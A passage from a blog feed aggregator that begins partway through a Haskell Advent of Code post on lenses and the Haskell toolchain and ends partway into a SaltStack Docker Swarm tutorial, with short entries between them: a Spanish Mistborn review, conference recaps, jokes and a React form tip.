&lt;span class="org-src-tab"&gt;&lt;span&gt;Haskell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-haskell"&gt;&lt;code&gt;&lt;code&gt;head &lt;span class="org-haskell-definition"&gt;.&lt;/span&gt; filter meetsReqs &lt;span class="org-haskell-operator"&gt;.&lt;/span&gt; iterate increment&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
When you hand this a &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;String&lt;/span&gt;&lt;/code&gt;, it 1) applies the &lt;code class="src src-haskell"&gt;increment&lt;/code&gt; function infinitely to the string, filters the resulting list with a predicate that defines the criteria for a valid password, and &lt;code class="src src-haskell"&gt;head&lt;/code&gt; just takes the first value.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-modeling-a-game-without-objects"&gt;
&lt;h5 id="modeling-a-game-without-objects"&gt;Modeling a Game (Without Objects)&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orgccf2fc6"&gt;
&lt;p&gt;
For &lt;a href="http://adventofcode.com/2015/day/22"&gt;day 22&lt;/a&gt;'s challenge, you're given the rules for a game and challenged to find the optimal set of moves to win the game.
This is similar to &lt;a href="http://adventofcode.com/2015/day/21"&gt;the preceding day's challenge&lt;/a&gt;, but more complicated: it involves spells that have a cost, effect, and potential duration.
&lt;/p&gt;

&lt;p&gt;
The solution for this in Haskell is pretty interesting.
Though I model things like game state and players with types, the highlight here are lenses.
How lenses work is outside the scope of this blog post, but in short: they let you reach into data types to access or modify them easily.
&lt;/p&gt;

&lt;p&gt;
As an example, take a look at this function &amp;ndash; it takes a spell, some game state, and returns an updated game state after the spell is "cast":
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Haskell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-haskell-constructor"&gt;Font used to highlight Haskell constructors.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-keyword"&gt;Font used to highlight Haskell keywords.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-type"&gt;Font used to highlight Haskell types&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-operator"&gt;Font used to highlight Haskell operators.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-definition"&gt;Font used to highlight Haskell definitions.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-haskell"&gt;&lt;code&gt;&lt;span class="linenr"&gt; 1: &lt;/span&gt;&lt;code&gt;&lt;span class="org-haskell-definition"&gt;cast&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;::&lt;/span&gt; &lt;span class="org-haskell-type"&gt;Spell&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-haskell-type"&gt;Game&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-haskell-type"&gt;Game&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt; 2: &lt;/span&gt;&lt;code&gt;&lt;span class="org-haskell-definition"&gt;cast&lt;/span&gt; spell &lt;span class="org-haskell-operator"&gt;=&lt;/span&gt; action&lt;/code&gt;
&lt;span class="linenr"&gt; 3: &lt;/span&gt;&lt;code&gt;           &lt;span class="org-haskell-operator"&gt;.&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;player&lt;span class="org-haskell-operator"&gt;.&lt;/span&gt;mana &lt;span class="org-haskell-operator"&gt;-~&lt;/span&gt; cost&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt; 4: &lt;/span&gt;&lt;code&gt;           &lt;span class="org-haskell-operator"&gt;.&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;player&lt;span class="org-haskell-operator"&gt;.&lt;/span&gt;spent &lt;span class="org-haskell-operator"&gt;+~&lt;/span&gt; cost&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt; 5: &lt;/span&gt;&lt;code&gt;    &lt;span class="org-haskell-keyword"&gt;where&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt; 6: &lt;/span&gt;&lt;code&gt;        &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;action, cost&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;=&lt;/span&gt; &lt;span class="org-haskell-keyword"&gt;case&lt;/span&gt; spell &lt;span class="org-haskell-keyword"&gt;of&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt; 7: &lt;/span&gt;&lt;code&gt;            &lt;span class="org-haskell-constructor"&gt;MagicMissile&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;boss&lt;span class="org-haskell-operator"&gt;.&lt;/span&gt;hp &lt;span class="org-haskell-operator"&gt;-~&lt;/span&gt; 4, 53&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt; 8: &lt;/span&gt;&lt;code&gt;            &lt;span class="org-haskell-constructor"&gt;Drain&lt;/span&gt;        &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;(&lt;/span&gt;boss&lt;span class="org-haskell-operator"&gt;.&lt;/span&gt;hp &lt;span class="org-haskell-operator"&gt;-~&lt;/span&gt; 2&lt;span class="org-rainbow-delimiters-depth-2"&gt;)&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;.&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;(&lt;/span&gt;player&lt;span class="org-haskell-operator"&gt;.&lt;/span&gt;life &lt;span class="org-haskell-operator"&gt;+~&lt;/span&gt; 2&lt;span class="org-rainbow-delimiters-depth-2"&gt;)&lt;/span&gt;, 73&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt; 9: &lt;/span&gt;&lt;code&gt;            &lt;span class="org-haskell-constructor"&gt;Shield&lt;/span&gt;       &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;e &lt;span class="org-haskell-constructor"&gt;Shield&lt;/span&gt; 6, 113&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt;10: &lt;/span&gt;&lt;code&gt;            &lt;span class="org-haskell-constructor"&gt;Poison&lt;/span&gt;       &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;e &lt;span class="org-haskell-constructor"&gt;Poison&lt;/span&gt; 6, 173&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt;11: &lt;/span&gt;&lt;code&gt;            &lt;span class="org-haskell-constructor"&gt;Recharge&lt;/span&gt;     &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;e &lt;span class="org-haskell-constructor"&gt;Recharge&lt;/span&gt; 5, 229&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;span class="linenr"&gt;12: &lt;/span&gt;&lt;code&gt;        e s t &lt;span class="org-haskell-operator"&gt;=&lt;/span&gt; effects &lt;span class="org-haskell-operator"&gt;%~&lt;/span&gt; insert s t&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
What makes this function so interesting is that nowhere in the body of the function do I ever actually reference the variable that the game is bound to.
The juicy part of the function:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Haskell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-haskell-operator"&gt;Font used to highlight Haskell operators.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-haskell"&gt;&lt;code&gt;&lt;code&gt;action &lt;span class="org-haskell-definition"&gt;.&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;player&lt;span class="org-haskell-operator"&gt;.&lt;/span&gt;mana &lt;span class="org-haskell-operator"&gt;-~&lt;/span&gt; cost&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;.&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;player&lt;span class="org-haskell-operator"&gt;.&lt;/span&gt;spent &lt;span class="org-haskell-operator"&gt;+~&lt;/span&gt; cost&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Is just a series of smaller function compositions. When I hit a &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;Game&lt;/span&gt;&lt;/code&gt; with &lt;code class="src src-haskell"&gt;player&lt;span class="org-haskell-definition"&gt;.&lt;/span&gt;mana &lt;span class="org-haskell-operator"&gt;-~&lt;/span&gt; cost&lt;/code&gt;, that little function reaches into my &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;Game&lt;/span&gt;&lt;/code&gt; type, subtracts the spell's cost from the player's mana and proceeds to compose with the following function.
&lt;/p&gt;

&lt;p&gt;
This is one of the more complicated examples, but if you worked through this (pretty tricky) challenge, &lt;a href="https://github.com/tylerjl/adventofcode/blob/634cb79f43ae6cd2f9efbdda58ecbc666a7e4b0b/src/Y2015"&gt;the solution&lt;/a&gt; (complete with all sorts of weird recursion) is interesting to compare against typical imperative solutions.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-ecosystem"&gt;
&lt;h4 id="ecosystem"&gt;Ecosystem&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org212f869"&gt;
&lt;p&gt;
Aside from interesting core language features, modern Haskell has some really neat components of the toolchain that I also experimented with as a part of the advent.
These are &lt;a href="https://tylerjl.github.io/adventofcode/"&gt;repeated in short form on a GitHub pages site&lt;/a&gt;, but I'll go more in depth here.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-hpc"&gt;
&lt;h5 id="hpc"&gt;HPC&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org8aee215"&gt;
&lt;p&gt;
Haskell can generate lovely &lt;a href="https://tylerjl.github.io/adventofcode/coverage/adventofcode/adventofcode-test/hpc_index.html"&gt;coverage&lt;/a&gt; reports, walking your code to help pinpoint places in which code is actually never evaluated and other useful highlights.
In my case, you can see several instances in which some typeclasses I've derived (like &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;Show&lt;/span&gt;&lt;/code&gt;) never end up being used within my modules and is thus detected as unnecessary (as far as HPC can tell).
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-benchmarking"&gt;
&lt;h5 id="benchmarking"&gt;Benchmarking&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org497be96"&gt;
&lt;p&gt;
I found &lt;a href="http://www.serpentine.com/criterion/"&gt;criterion&lt;/a&gt; later on in my journey so &lt;a href="https://tylerjl.github.io/adventofcode/benchmarks/"&gt;most of my code isn't benchmarked&lt;/a&gt;, but it has proven to be a &lt;b&gt;really&lt;/b&gt; pleasant tool to use.
&lt;/p&gt;

&lt;p&gt;
Using criterion, I was able to compare different implementations for some solutions and found (sometimes unexpected) results regarding efficiency.
This is especially relevant in a lazy language like Haskell wherein performance can be tricky to pin down sometimes when some of your code may not necessarily be evaluated.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-docs"&gt;
&lt;h5 id="docs"&gt;Docs&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orgad36263"&gt;
&lt;p&gt;
This is a fairly standard language feature, but in case you were wondering: &lt;a href="https://tylerjl.github.io/adventofcode/haddock/"&gt;my documented code ended up looking like this after passing through haddock&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-special-mention-for-the-crown-jewel-https-docs-haskellstack-org-en-stable-readme-stack"&gt;
&lt;h4 id="special-mention-for-the-crown-jewel-https-docs-haskellstack-org-en-stable-readme-stack"&gt;Special Mention for The Crown Jewel: &lt;a href="https://docs.haskellstack.org/en/stable/README/"&gt;Stack&lt;/a&gt;&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orga899ada"&gt;
&lt;p&gt;
Throughout a lot of building, benchmarking, and testing, I became pretty enamored with [stack], the (hopefully standard) Haskell build tool.
My favorite standard feature of stack is the fact that you define your &lt;code&gt;resolver&lt;/code&gt; per project, which encapsulates a given version of GHC (the Haskell compiler) along with a curated set of packages for that point in time.
If you've done non-trivial work in Ruby or Python, you know that an rvm/virtualenv type of solution is pretty useful, and stack makes that concept a first-class citizen.
&lt;/p&gt;

&lt;p&gt;
Stack is also a very active project, which is refreshing to see.
While some languages languish when it comes to taking a critical eye to tools or developer needs, the haskell community has effectively and rapidly fixed a pain point in their toolchain in a great way.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-a-final-note"&gt;
&lt;h4 id="a-final-note"&gt;A Final Note&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org5282717"&gt;
&lt;p&gt;
&lt;a href="http://adventofcode.com/"&gt;Advent of Code&lt;/a&gt; turned out to be a great exercise to learn more about a language and compare notes with &lt;a href="https://www.reddit.com/r/adventofcode"&gt;the community&lt;/a&gt;.
If you have the time, I highly recommend trying it out and seeing what you can learn.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Wed, 30 Nov 2016 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/advent-of-code-2016-haskell/</guid></item><item><title>Nacidos de la Bruma III – El Héroe de las Eras – Mistborn</title><link>https://danielpecos.com/2016/11/30/nacidos-de-la-bruma-iii-el-heroe-de-las-eras-mistborn/</link><description>&lt;p&gt;&lt;a href="https://www.amazon.es/Mistborn-III-H%C3%A9roe-Las-Eras/dp/8466658912%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D8466658912"&gt;&lt;img alt="Mistborn - El Héroe de las Eras" class="alignleft size-full" height="545" src="https://danielpecos.com/assets/2017/10/El-héroe-de-las-eras.jpg" width="350" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;En &lt;strong&gt;El Héroe de las Eras&lt;/strong&gt;, tercera y última entrega de la saga &lt;strong&gt;Nacidos de la Bruma – Mistborn&lt;/strong&gt;, Brandon Sanderson nos presenta el colofón a esta épica historia de aventuras y magia – &lt;em&gt;alomancia&lt;/em&gt;, en la que los protagonistas viajan a través del mundo en busca de las pistas que &lt;em&gt;Lord Legislador&lt;/em&gt; les dejó para combatir el mal que les avecina: &lt;em&gt;Ruina&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;La Banda de Kelsier, encabezada por &lt;em&gt;Vin&lt;/em&gt; y &lt;em&gt;Lord Elend&lt;/em&gt;, tratarán de aunar las distintas ciudades del mundo en una lucha común contra las brumas, aunque no será una tarea fácil. Los restos de la iglesia de Lord Legislador y sus criaturas, se han diseminado por el mundo y, aunque sin ser lo fuertes que fueron cuando éste estaba gobernando, serán causa de gran multitud de problemas para nuestros protagonistas.&lt;/p&gt;
&lt;p&gt;En esta entrega podemos ver cómo Brandon Sanderson, genio de la narrativa de ciencia ficción y épica fantástica, engrana gran cantidad detalles, en un principio nimios, para dar un cierre colosal a la historia, hacia el que todas las pequeñas tramas que se han ido mostrando durante la trilogía convergen, consiguiendo un final digno de la obra.&lt;/p&gt;
&lt;p&gt;Como viene siendo habitual con este autor, el ritmo, la forma de describir el mundo y unos personajes que nos harán sentir partícipes de sus aventuras, son el común denominador de la historia, haciendo que la devoremos desde el primer momento, prácticamente sin darnos cuenta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;El Héroe de las Eras&lt;/strong&gt; es el cierre de una obra de arte de la literatura de ficción contemporánea, considerada como uno de los imprescindibles del género por muchos. Política y Religión, temas subyacentes de la saga, hacen que su lectura sea apasionante e inmersiva, haciendo de esta entrega, y sobre todo de la saga &lt;strong&gt;Nacidos de la Bruma – Mistborn&lt;/strong&gt;, una lectura obligatoria para los amantes de la temática.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Wed, 30 Nov 2016 08:02:06 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/30/nacidos-de-la-bruma-iii-el-heroe-de-las-eras-mistborn/</guid></item><item><title>THE CULT OF DONE MANIFESTO</title><link>https://yasha.solutions/the-cult-of-done-manifesto/</link><description>It is an original piece from Bre Pettis and Kio Stark – under Creative Common.
For me it is a reminder that done is better than perfect, and no matter how creative you want to be there is a point where actual delivery matter more than potential awesomeness .
Here it is:</description><author>Yasha Solutions</author><pubDate>Wed, 30 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/the-cult-of-done-manifesto/</guid></item><item><title>Belated ElixirConf 2016 Recap</title><link>https://www.brightball.com/articles/belated-elixirconf-2016-recap</link><description>This past September I took vacation time and paid out of pocket to drive to Orlando and attend ElixirConf with a few other programmers from Greenville who did the same thing. We weren't the only ones. Here is a belated recap from our combined notes and experiences.</description><author>Brightball Articles</author><pubDate>Wed, 30 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/belated-elixirconf-2016-recap</guid></item><item><title>10 years of Facebook humour</title><link>https://jasoneckert.github.io/myblog/10-years-of-facebook-humour/</link><description>&lt;p&gt;&lt;img alt="Facebook" src="facebook.png#right" title="Facebook" /&gt;&lt;/p&gt;
&lt;p&gt;While most of my posts are pictures (funny pictures, persona pictures, memes, etc.), I’ve also got lots of funny text posts.  I got a chuckle out of reading them again, so I thought I’d share them here for others to enjoy!&lt;/p&gt;
&lt;p&gt;Here they are, sorted from newest to oldest:&lt;/p&gt;
&lt;p&gt;If you want to rapidly get through a crowded area, just carry a clipboard and try to make eye contact with people. People will give you space&amp;hellip;.fast ;-)&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Wed, 30 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/10-years-of-facebook-humour/</guid></item><item><title>Vignettes</title><link>https://rjp.is/blogging/posts/vignettes-2/</link><description>In which we summarise through subtitles.</description><author>infrequent oscillations</author><pubDate>Tue, 29 Nov 2016 15:11:20 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/vignettes-2/</guid></item><item><title>Introducing Chunky: A chunk generator for Minecraft</title><link>https://joshuarogers.net/articles/2016-11/introducing-chunky/</link><description>I have a love-hate relationship with the terrain from Minecraft. One the one hand, it's the terrain that makes every world kind of memorable in it's own way. It comes at cost though; the process of generating terrain can cripple a server.
That's where Chunky comes in. Chunky lets you pregenerate a world so that our blocky wanderers don't cause the server logs to fill with &amp;ldquo;CAN'T KEEP UP!&amp;rdquo;
Okay. Why?</description><author>Joshua Rogers</author><pubDate>Tue, 29 Nov 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2016-11/introducing-chunky/</guid></item><item><title>Remote preparation for your next networking travel – Hustle Hacks 101</title><link>https://yasha.solutions/remote-preparation-for-your-next-networking-travel-hustle-hacks-101/</link><description>So you want to grow your network and are prepared to travel for it – or the other way around – you are travelling to a remote place and you see this as an opportunity to network and grow your base.
You will be town for a day or two, maybe a week maximum, and you want to see how to find the right people and the right event to get on your agenda and make the best out of your trip.</description><author>Yasha Solutions</author><pubDate>Tue, 29 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/remote-preparation-for-your-next-networking-travel-hustle-hacks-101/</guid></item><item><title>Repeating History...on Purpose...with Elixir</title><link>https://www.brightball.com/articles/repeating-history-on-purpose-with-elixir</link><description>A dive into the highlights of Elixir that make it the ideal platform for the web...and how all these questions were answered figured out 30 years ago. Presented to Upstate Elixir in Greenville, SC on Nov 16.</description><author>Brightball Articles</author><pubDate>Tue, 29 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/repeating-history-on-purpose-with-elixir</guid></item><item><title>Clark Valberg: Invision Co-Founder &amp;amp; CEO</title><link>https://solomon.io/clark-valberg-invision-co-founder-ceo/</link><description>Clark Valberg is the founder and CEO of InVision. If you are a designer, you have probably gotten an email from Clark at one time or another.</description><author>Sam Solomon</author><pubDate>Mon, 28 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/clark-valberg-invision-co-founder-ceo/</guid></item><item><title>If you would persuade, appeal to interest and not to reason.</title><link>https://ho.dges.online/words/commonplace/if-you-would-persuade-appeal-to-interest-and-not-to-reason./</link><description>&lt;p&gt;Benjamin Franklin&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you would persuade, appeal to interest and not to reason.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Mon, 28 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/if-you-would-persuade-appeal-to-interest-and-not-to-reason./</guid></item><item><title>Form recipe: Conditionally disabling the Submit button</title><link>https://goshacmd.com/form-recipe-disable-submit-button-react/</link><author>Gosha Spark</author><pubDate>Mon, 28 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/form-recipe-disable-submit-button-react/</guid></item><item><title>Docker Swarm 1.12 Cluster Orchestration with SaltStack</title><link>https://btmiller.com/2016/11/27/docker-swarm-1.12-cluster-orchestration-with-saltstack.html</link><description>&lt;p&gt;Starting in &lt;code class="language-plaintext highlighter-rouge"&gt;v1.12.0&lt;/code&gt; of Docker Engine, there is a new way to manage your container orchestration layer in swarm mode. For starters, it now comes with its own service discovery baked in. With the drastic improvements to the simplicity of swarm mode, let’s see how we can automate the spin-up of a cluster using SaltStack.&lt;/p&gt;

&lt;h3 id="getting-started"&gt;Getting Started&lt;/h3&gt;

&lt;p&gt;A couple things before we get rolling. We need a way to programmatically target our minions. Any method is acceptable, but this guide uses node groups for targeting. If applicable, set up the node groups on our master.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;/etc/salt/master.d/nodegroups.conf&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="na"&gt;nodegroups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;swarmmanager&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;manager*'&lt;/span&gt;
  &lt;span class="na"&gt;swarmworker&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;worker*'&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Also, this guide makes use of Pillar data, but we will not be walking though that as it’s pretty straightforward. Refer to &lt;a href="https://docs.saltstack.com/en/latest/topics/pillar/"&gt;Salt documentation for examples&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id="state-files"&gt;State files&lt;/h3&gt;

&lt;p&gt;We need to make six states for Docker Swarm:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href="#add-docker-repository-and-install-docker-engine"&gt;Add Docker repository and install Docker Engine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#set-salt-mine-data"&gt;Set Salt Mine data&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#drain-swarm-managers"&gt;Drain Swarm managers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#create-a-new-swarm-cluster"&gt;Create a new Swarm cluster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#add-managers-to-the-swarm-cluster"&gt;Add managers to the Swarm cluster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#add-workers-to-the-swarm-cluster"&gt;Add workers to the Swarm cluster&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Organizationally, the state file structure will look like:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-plaintext"&gt;docker/
  engine.sls
  mine.sls
  manager/
    first.sls
    join.sls
    drain.sls
  worker/
    join.sls&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Let’s walk through each of these before we tackle orchestration.&lt;/p&gt;

&lt;h4 id="1-add-docker-repository-and-install-docker-engine"&gt;1. Add Docker repository and install Docker Engine&lt;/h4&gt;

&lt;p&gt;No special sauce here. This contains the basics for getting Docker Engine installed onto our minions. This guide uses RHEL 7 for repository management, but the same principles can be applied to any other distro supported by &lt;a href="https://docs.saltstack.com/en/latest/ref/states/all/salt.states.pkgrepo.html"&gt;Salt’s pkgrepo state&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker/engine.sls&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="na"&gt;docker&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pkgrepo.managed&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;humanname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;pillar&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repositories'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repos'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;humanname'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;baseurl&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;pillar&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repositories'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repos'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;baseurl'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
